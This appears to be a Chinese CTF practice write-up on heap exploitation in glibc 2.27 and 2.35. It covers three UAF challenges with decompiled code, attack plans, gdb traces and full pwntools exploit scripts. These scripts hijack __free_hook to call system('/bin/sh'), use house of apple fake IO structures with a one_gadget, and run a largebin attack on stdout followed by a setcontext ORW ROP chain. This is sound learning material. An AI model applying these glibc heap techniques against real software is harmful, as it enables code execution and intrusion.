0%

高版本堆块利用练习

记录一些堆题的练习。

gdb调试命令

1
2
3
4
p *_IO_list_all
p *(struct _IO_FILE_plus *)addr
p *(struct _IO_wide_data *)addr
p *(const struct _IO_jump_t *)addr

libc2.27

特征

引入了tcache堆管理机制,__free_hook__malloc_hook都还在,通过bk指针检测是否存在double free

UAF

例题信息:

1
2
3
4
5
来源:zjctf2022省赛初赛-babyheap
libc版本:ubuntu2.27-3-1.6
漏洞:UAF
限制:堆块大小 <= 0x7f
add次数 <= 7

MENU:

1
2
3
4
5
6
7
8
9
int menu()
{
puts("1. add note");
puts("2. edit note");
puts("3. show note");
puts("4. delete note");
puts("5. exit");
return puts("input your choice: ");
}

ADD:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int add()
{
int result; // eax
int i; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]

for ( i = 0; i <= 7 && heap[i]; ++i )
;
if ( i == 7 )
{
puts("full note");
exit(0);
}
puts("input size: ");
v2 = input_num();
if ( v2 <= 0 || v2 > '\x7F' )
return puts("Incorrect size");
heap[i] = malloc(v2);
result = v2;
heap_size[i] = v2;
return result;
}

EDIT:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t edit()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("input index: ");
v1 = input_num();
if ( v1 > 6 || !heap[v1] )
{
puts("Incorrect idx");
exit(0);
}
puts("input content: ");
return read(0, heap[v1], heap_size[v1]);
}

SHOW:

1
2
3
4
5
6
7
8
9
10
11
12
13
int show()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("input index: ");
v1 = input_num();
if ( v1 > 6 || !heap[v1] )
{
puts("Incorrect idx");
exit(0);
}
return puts(heap[v1]);
}

DELETE:

1
2
3
4
5
6
7
8
9
10
11
12
13
void delete()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]

puts("input index: ");
v0 = input_num();
if ( v0 > 6 || !heap[v0] )
{
puts("Incorrect idx");
exit(0);
}
free(heap[v0]);
}

思路1,也是EXP的思路

1
2
3
4
1. 构造double free,泄露出heap_base的地址
2. 利用double free,申请到tcache bin,填满0x80的数量
3. 释放堆块至unsorted bin,拿到libc_base
4. 再次构造double free,劫持__free_hook

EXP1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

io = process("./babyheap")
libc = ELF("./libc-2.27.so")

def add(size):
io.sendlineafter(b"input your choice: \n", str(1))
io.sendlineafter(b"input size: \n", str(size))

def edit(idx, content):
io.sendlineafter(b"input your choice: \n", str(2))
io.sendlineafter(b"input index: \n", str(idx))
io.sendlineafter(b"input content: \n", content)

def show(idx):
io.sendlineafter(b"input your choice: \n", str(3))
io.sendlineafter(b"input index: \n", str(idx))

def free(idx):
io.sendlineafter(b"input your choice: \n", str(4))
io.sendlineafter(b"input index: \n", str(idx))


add(0x70)#0
add(0x70)#1
#add(0x80)#2
free(0)
free(1)
show(1)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x260
tcache = heap_base + 0x10
log.success("heap_base===>"+hex(heap_base))

edit(0, p64(0)*2)
free(0)

edit(0, p64(tcache))
add(0x70)#2
add(0x70)#3
edit(3, p8(0x7)*0x30)

free(3)
show(3)

libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x60 - 0x10 - libc.sym["__malloc_hook"]
log.success("libc_base===>"+hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]

free(0)
edit(0, p64(free_hook))

add(0x70)#4
add(0x70)#5

edit(4, b'/bin/sh\x00')
edit(5, p64(system))

#gdb.attach(io)
free(4)

io.interactive()

思路2,参考Nameless_a

1
2
3
1. 构造double free,泄露出heap_base的地址
2. 不断释放同一个堆块(并修改bk指针),直至填满0x80的tcache并溢出一个至unsorted bin, 拿到libc_base
3. 利用double free,劫持__free_hook

EXP2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def exp():
global r
global libc
##r=process('./babyheap')
r=remote("1.14.97.218",24360)
libc=ELF("./libc-2.27.so")

## leak_heap
add(0x7f)
add(0x7f)
##add(0x7f)
##add(0x7f)
delet(0)
edit(0,"nameless")
##z()
show(0)
r.recvuntil("nameless")
heapbase=u64(r.recv(6).ljust(8,"\x00"))-0x10
log.success("heapbase:"+hex(heapbase))

##leak libc
for i in range(0,7):
edit(0,p64(0)*2)
delet(0)

##z()
show(0)
r.recvuntil("\n")
libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x3ebca0
log.success("libcbase:"+hex(libcbase))

## set_libc func
free_hook=libcbase+libc.sym["__free_hook"]
system=libcbase+libc.sym["system"]

edit(0,p64(free_hook))
add(0x7f) ##,"/bin/sh\x00")
add(0x7f) ##,p64(system))
edit(3,p64(system))
edit(0,"/bin/sh\x00")
##z()
delet(0)
r.interactive()

libc2.31

特征

__free_hook__malloc_hook都还在,可以劫持。

libc2.35

特征

libc2.34之后的版本利用手法暂时无差别,__free_hook__malloc_hook__realloc_hook已被删除,基本是IO链利用的主场。

UAF1

例题信息:

1
2
3
4
5
来源:柏鹭杯-note2
libc版本:ubuntu2.35-0-3.1
漏洞:UAF
限制:堆块大小 <= 0x200
堆块的id <= 9

MENU:

1
2
3
4
5
6
7
8
9
int print_menu()
{
puts("--- menu ---");
puts("1) malloc");
puts("2) free");
puts("3) view");
puts("4) leave");
return puts("------------");
}

ADD:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int op_malloc()
{
__int64 index; // [rsp+0h] [rbp-10h]
unsigned __int64 size; // [rsp+8h] [rbp-8h]

puts("Index?");
index = get_index(); //index>10会跳出
puts("Size?");
size = get_number();
if ( !size || size > 0x200 )
return puts("Interesting...");
*(&chonks + index) = malloc(size);
printf("Enter content: ");
return fgets(*(&chonks + index), size, stdin);
}

DELETE:

1
2
3
4
5
6
7
8
void op_free()
{
unsigned __int64 index; // [rsp+8h] [rbp-8h]

puts("Index?");
index = get_index();
free(*(&chonks + index));
}

VIEW:

1
2
3
4
5
6
7
8
int op_view()
{
unsigned __int64 index; // [rsp+8h] [rbp-8h]

puts("Index?");
index = get_index();
return puts(*(&chonks + index));
}

LEAVE:

1
2
3
4
5
if ( number == 4 )
{
puts("Bye!");
exit(0);
}

思路

1
2
3
4
1.申请并释放0x80的堆块,填满tcache bin,溢出一个到unsorted bin,即可泄露出libc_base、heap_base
2. 申请回所有释放的堆块
3. 申请并释放0x70的堆块,填满tcache bin,溢出一个到fast bin,即可利用UAF申请到_IO_list_all,构造house of apple
4. exit退出调用链

调试信息

劫持 _IO_list_all 为目标堆:
image-20230831172114112

目标堆即fake_IO_list_all结构体构造如下:

image-20230831172354945

伪造的_wide_data结构体如下,其余值均为0,伪造了_wide_vtable

image-20230831173315327

伪造的_wide_vtable结构体如下:

image-20230831173542495

最后通过exit()触发如下的链子:

image-20230831173942904

1
2
3
4
5
6
7
8
► f 0   0x7fa1a3283c14 _IO_wdoallocbuf+36
f 1 0x7fa1a3286675 _IO_wfile_overflow+613
f 2 0x7fa1a328ea42 _IO_flush_all_lockp+226
f 3 0x7fa1a328ebfe _IO_cleanup+46
f 4 0x7fa1a3245542 __run_exit_handlers+434
f 5 0x7fa1a3245610 on_exit
f 6 0x55e7639cc575 main+184
f 7 0x7fa1a3229d90 __libc_start_call_main+128

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

io = process("./note2")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(idx, size, content):
io.sendlineafter(b"> ", str(1))
io.sendlineafter(b"> ", str(idx))
io.sendlineafter(b"> ", str(size))
io.sendlineafter(b"Enter content: ", content)

def free(idx):
io.sendlineafter(b"> ", str(2))
io.sendlineafter(b"> ", str(idx))

def view(idx):
io.sendlineafter(b"> ", str(3))
io.sendlineafter(b"> ", str(idx))

def leave():
io.sendlineafter(b"> ", str(4))

for i in range(7):
add(i, 0x80, b'a'*7)
add(7, 0x80, b'a'*7)
add(8, 0x80, b'a'*7)

for i in range(8):
free(i)
view(7)
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x219ce0
log.success("libc_base===>"+hex(libc_base))

one_gadgets = [0xebcf1, 0xebcf5, 0xebcf8]
one_gadget = libc_base + one_gadgets[0]
_IO_list_all = libc_base + libc.sym["_IO_list_all"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
_IO_file_jumps = libc_base + libc.sym["_IO_file_jumps"]
# stdout = libc_base + libc.sym["stdout"]

for i in range(8):
add(i, 0x80, b'ccc')

for i in range(7):
add(i, 0x70, b'ddd')
add(7, 0x70, b'ddd')
add(8, 0x70, b'ddd')

for i in range(7):
free(i)
free(7)
free(8)
free(7)

view(0)
key = u64(io.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
log.success("heap_base===>"+hex(heap_base))

fake_IO_list_all_addr = heap_base + 0xc30
fake_IO_list_all = b'\x00'
fake_IO_list_all = fake_IO_list_all.ljust(0x28, b'\x00') + p64(1) #_IO_write_ptr
fake_IO_list_all = fake_IO_list_all.ljust(0xa0, b'\x00') + p64(fake_IO_list_all_addr + 0xe0) #fake _wide_data
fake_IO_list_all = fake_IO_list_all.ljust(0xd8, b'\x00') + p64(_IO_wfile_jumps) #vtable
fake_IO_list_all = fake_IO_list_all.ljust(0xe0 + 0xe0, b'\x00')
fake_IO_list_all += p64(heap_base + 0xe40) #fake _wide_vtable
add(9, 0x200, fake_IO_list_all)

for i in range(7):
add(i, 0x70, b'eee')
add(7, 0x70, p64(_IO_list_all^key))

add(8, 0x70, b'aaa')
add(7, 0x70, b'bbb')
add(8, 0x70, p64(fake_IO_list_all_addr))

fake_wide_vtable = b'\x00'
fake_wide_vtable = fake_wide_vtable.ljust(0x68, b'\x00') + p64(one_gadget)
add(9, 0x200, fake_wide_vtable)
leave()
gdb.attach(io)

io.interactive()

UAF2

例题信息:

1
2
3
4
5
6
来源:zjctf2022决赛-HodgePodge
libc版本:ubuntu2.35-0-3
漏洞:UAF
限制:0x400 < 堆块大小 <= 0x430
堆块的id <= 9
开了沙箱,orw读取flag

ADD:

1
2
3
4
5
6
7
8
ssize_t menu()
{
puts("1.add");
puts("2.del");
puts("3.edit");
puts("4.show");
return write(1, ">>", 2uLL);
}

DELETE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void sub_144C()
{
unsigned int v0; // [rsp+Ch] [rbp-4h]

puts("idx:");
v0 = input_number();
if ( v0 > 0xA )
{
puts("Invalid idx");
_exit(0);
}
if ( chunk_list[v0] )
free(chunk_list[v0]);
}

EDIT:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 sub_13B6()
{
__int64 result; // rax
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("idx:");
v1 = input_number();
if ( v1 > 0xA )
{
puts("Invalid idx");
_exit(0);
}
result = chunk_list[v1];
if ( result )
{
puts("Content");
read(0, chunk_list[v1], size_list[v1]);
return 0LL;
}
return result;
}

SHOW:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 sub_14B9()
{
__int64 result; // rax
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("idx");
v1 = input_number();
if ( v1 > 0xA )
{
puts("Invalid idx");
_exit(0);
}
result = chunk_list[v1];
if ( result )
{
puts(chunk_list[v1]);
return 1LL;
}
return result;
}

思路

1
2
3
4
5
6
7
8
9
1. 申请一系列的largebin大小的堆,释放一个进入unsorted bin,泄露出libc_base,申请一个比unsorted bin中堆块大的chunk,则unsorted bin中的free_chunk进入large bin,泄露出heap_base
2. 修改largebin中的堆块,使其bk_nextsize指向stdout-0x20
3. 释放idx为1的堆块进入unsorted bin,利用idx为0的堆块构造idx为1堆块的prev_size为0x8000
4. 申请一个比unsorted bin大的chunk,造成largebin attack,劫持stdout
5. 利用puts触发链子,达到orw

► f 0 0x7f5d6e683c14 _IO_wdoallocbuf+36
f 1 0x7f5d6e686675 _IO_wfile_overflow+613
f 2 0x7f5d6e680f9c puts+204

调试信息

劫持stdout为目标堆:

image-20230901203218606

目标堆即fake_IO_2_1_stdout_结构体如下:

image-20230901203730853

伪造的_wide_data结构体如下:

image-20230901204104152

伪造的_wide_vtable结构体如下:

image-20230901204349224

最后通过puts触发如下链子:

image-20230901204737269

1
2
3
4
5
6
7
8
► f 0   0x7f840de83c14 _IO_wdoallocbuf+36
f 1 0x7f840de86675 _IO_wfile_overflow+613
f 2 0x7f840de80f9c puts+204
f 3 0x560d95ab0344
f 4 0x560d95ab076a
f 5 0x7f840de29d90 __libc_start_call_main+128
f 6 0x7f840de29e40 __libc_start_main+128
f 7 0x560d95ab01ae

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import logging

from pwn import *

io = process("./pwn1")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(size, content):
io.sendlineafter(b">>", str(1))
io.sendlineafter(b"Size:\n", str(size))
io.sendafter(b"Please input the content\n", content)

def free(idx):
io.sendlineafter(b">>", str(2))
io.sendlineafter(b"idx:\n", str(idx))

def edit(idx, content):
io.sendlineafter(b">>", str(3))
io.sendlineafter(b"idx:\n", str(idx))
io.sendafter(b"Content\n", content)

def show(idx):
io.sendlineafter(b">>", str(4))
io.sendlineafter(b"idx\n", str(idx))

add(0x418, b'a'*8) #0
add(0x410, b'b'*8) #1
add(0x410, b'c'*8) #2
add(0x420, b'd'*8) #3
add(0x420, b'e'*8) #4

free(3)
show(3)

offset = 0x7f3936a19ce0 - 0x7f3936800000
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - offset

log.success("libc_base===>"+hex(libc_base))

add(0x430, b'f'*8) #5
edit(3, b'a'*12 + b'anza')
show(3)
io.recvuntil(b'anza')
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0xef0
log.success("heap_base===>"+hex(heap_base))

l_main = libc_base + 0x219cd0
stdout = libc_base + libc.sym["stdout"]
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_r12_ret = libc_base + 0x000000000011f497
ret = libc_base + 0x0000000000029cd6
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]
edit(3, p64(l_main)*2 + p64(heap_base+0xef0) + p64(stdout - 0x20))

_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
setcontext = libc_base + libc.sym["setcontext"]
fake_IO_stdout_addr = heap_base + 0x6b0
fake_IO_stdout = b'\x00'
fake_IO_stdout = fake_IO_stdout.ljust(0x90, b'\x00') + p64(fake_IO_stdout_addr + 0xe0)
fake_IO_stdout = fake_IO_stdout.ljust(0xb0, b'\x00') + p64(0)
fake_IO_stdout = fake_IO_stdout.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps - 0x20)
fake_IO_stdout = fake_IO_stdout.ljust(0x170, b'\x00') + p64(heap_base + 0x2b0) + p64(ret)
fake_IO_stdout = fake_IO_stdout.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_stdout_addr + 0xe0 + 0xf0)
fake_IO_stdout = fake_IO_stdout.ljust(0xe0 + 0xf0 + 0x58, b'\x00') + p64(setcontext + 61)

edit(1, fake_IO_stdout)
free(1)
# add(0x430, b'g'*8)
edit(0, 0x410*b"a" + p64(0x8000))

orw_addr = heap_base + 0x2b0
flag_addr = heap_base + 0x1760
orw = p64(0)*2
orw += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0)
orw += p64(open_addr)
orw += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw += p64(read_addr)
orw += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw += p64(write_addr)

edit(0, orw)
edit(5, b'./flag\x00')

io.sendlineafter(b">>", str(1))
gdb.attach(io)
pause()
io.sendlineafter(b"Size:\n", str(0x430))

io.interactive()